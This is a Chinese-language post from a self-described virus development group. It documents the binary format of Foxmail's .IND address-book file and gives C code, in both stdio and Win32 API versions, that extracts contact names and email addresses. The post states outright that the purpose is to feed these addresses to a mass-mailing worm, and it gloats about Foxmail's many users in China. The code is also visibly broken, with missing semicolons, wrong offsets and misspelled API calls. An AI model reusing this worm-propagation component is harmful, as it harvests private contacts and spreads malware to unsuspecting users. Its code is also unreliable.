來源:蘇睿暄病毒研發小組
用Foxmail的地址傳播病毒
{注:看了whaoye的《淺談用delphi寫蠕蟲病毒》后...}
foxmail的地址存在.IND里,用16進制的編輯器打開該文檔會發現
::
文件頭的范圍為00H-39H,共64個字節。
05H保存紀錄的個數,12H-21H記錄地址薄名稱。
記錄部分40H開始是第一條記錄,每條記錄長B0H
每條記錄的00H是記錄號,04H是刪除標記,該字節為1表明此記錄被用戶刪除
11H是組記錄,該字節為1表明此記錄為一條組記錄;
12H是名稱的長度,最大為20H;
13H-32H是名稱內容,33H是郵件地址長度,最大為40H,34H-73H是郵件地址內容。。。
下面我們寫一段代碼用于從.IND文件中將地址提出來,然后...(看你的想象力了,whaoye
已經將發送方面寫的很清楚了,不用我再重復了)
我用C寫的代碼,delphi下的代碼是不同的,大家可以自行更改...
(我沒用API,原因是我用api寫的在測試時,除了幾次錯誤,以后有時間,一定補上)
file*fp_addr
char*srcname
char headbuf[0x41],recbuf[0xb1]
int i;
if(fp_addr=fopen(srcname,"rb"))==null)
{exit(-1)}
fseek(fp_addr,0x40,seek_set)
while(!feof(fp_addr))
{
char name[0x21],email[0x41]
for(i=0;i<0x21;i++)
name=''
for(i=0;i<0x41;i++)
email=''
fread(recbuf,1,0xb0,fp_addr)
if(recbuf[0x4]==1)
{continue;}
if(recbuf[0x11]==1)
{continue;}
for(i=0;i<recbuf[0x21],i++)
{
if(recbuf[i+0x13]==0)break
name=recbuf[i+0x13]
}
for(i=0;i<recbuf[0x33],i++)
{
if(recbuf[i+0x34]==0)break
email=recbuf[i+0x34]
}
/*此處添加處理name(收件人名),email(收件人地址)的程序*/
}
fclose(fp_addr)
好了,既然有了讀取foxmail中地址的方法,再利用搜索方法找出所有的.IND文件,
參照whaoye的文章就可以寫出...
{后記::foxmail在中國的用戶量是很多的,如果利用這種方法寫出病毒來...hahaha}
{補記::
API方法
handle fp_addr
char*srcname
DWORD dwVes
char headbuf[0x41],recbuf[0xb1]
int i;
if(fp_addr=CreateFile(srcname,GENRIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0))==INVALID_HANDLE_VALUE)
{RETURN -1}
SetFilePointer(fp_addr,0x40,0,File_Begin)
while(!GetFilePointer(fp_addr))
{
char name[0x21],email[0x41]
for(i=0;i<0x21;i++)
name=''
for(i=0;i<0x41;i++)
email=''
ReadFile(fp_addr,recbuf,0xb0,&dwVes,0)
if(recbuf[0x4]==1)
{continue;}
if(recbuf[0x11]==1)
{continue;}
for(i=0;i<recbuf[0x21],i++)
{
if(recbuf[i+0x13]==0)break
name=recbuf[i+0x13]
}
for(i=0;i<recbuf[0x33],i++)
{
if(recbuf[i+0x34]==0)break
email=recbuf[i+0x34]
}
//此處添加處理name(收件人名),email(收件人地址)的程序
}
CloseHandle(fp_addr)